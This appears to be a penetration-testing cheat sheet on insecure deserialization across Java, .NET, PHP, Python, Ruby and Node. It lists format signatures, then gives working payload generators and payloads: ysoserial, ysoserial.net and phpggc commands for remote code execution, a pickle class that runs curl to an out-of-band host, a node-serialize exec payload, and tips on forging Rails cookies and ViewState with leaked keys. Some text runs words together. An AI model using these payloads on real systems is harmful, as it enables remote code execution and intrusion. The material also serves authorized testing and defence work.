Deserialization
Spot the format first. Every language has a signature you can grep for in cookies, hidden fields and API bodies.
rO0AB... Java, base64
ac ed 00 05 Java, raw hex
H4sIA... gzip: decode, then check again
/wEP... .NET ViewState
O:8:"stdClass" PHP serialize()
a:2:{i:0; PHP array
gASV / gAJ9 Python pickle, base64
BAh7 Ruby Marshal
{"@type":"..."} Java JSON (fastjson / Jackson polymorphic)
!!javax.script SnakeYAMLJava
- https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class
# https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections6 'curl https://oob.tld' | base64 -w0
# find the gadget chain that matches the classpath
# https://github.com/wh1t3p1g/ysomapBurp: Java Deserialization Scanner. Use DNS/OOB detection first, it identifies the usable chain without shelling the box.
Blind? URLDNS is the safe probe: it only triggers a DNS lookup, no code execution.
java -jar ysoserial.jar URLDNS "http://$(openssl rand -hex 4).oob.tld" | base64 -w0ASP
# https://github.com/pwntester/ysoserial.net
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "ping oob.tld" --generator=<generator> --validationkey=<key> --validationalg=SHA1Leaked machineKey from a web.config disclosure turns ViewState straight into RCE. Check Blacklist3r for known default keys.
PHP
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin"}- Look for
unserialize()on cookies,__wakeup,__destruct,__toString - phar://: deserialization without
unserialize(). Any file operation on aphar://path triggers it:file_exists,md5_file,getimagesize.
# https://github.com/ambionics/phpggc
phpggc Monolog/RCE1 system id -b
phpggc Laravel/RCE9 system id -p phar -o evil.pharPython pickle
import pickle, base64, os
class E:
def __reduce__(self): return (os.system, ('curl https://oob.tld',))
print(base64.b64encode(pickle.dumps(E())).decode())Anything that unpickles user input is RCE. Also check PyYAML yaml.load() without SafeLoader, and jsonpickle.
Ruby
BAh7 ← Marshal.load on a cookieRails secret key leak → signed cookie forge → Marshal gadget → RCE. Check for secret_key_base in exposed .git, credentials.yml.enc, or a stack trace.
Node
_$$ND_FUNC$$_function(){require('child_process').exec('id')}()node-serialize, funcster, serialize-to-js. Rarer, but trivial when present.
Tools
| URL | Description |
|---|---|
| https://github.com/frohoff/ysoserial | Java |
| https://github.com/pwntester/ysoserial.net | .NET |
| https://github.com/ambionics/phpggc | PHP |
| https://github.com/NickstaDB/SerializationDumper | Read Java streams |
| https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet | Reference |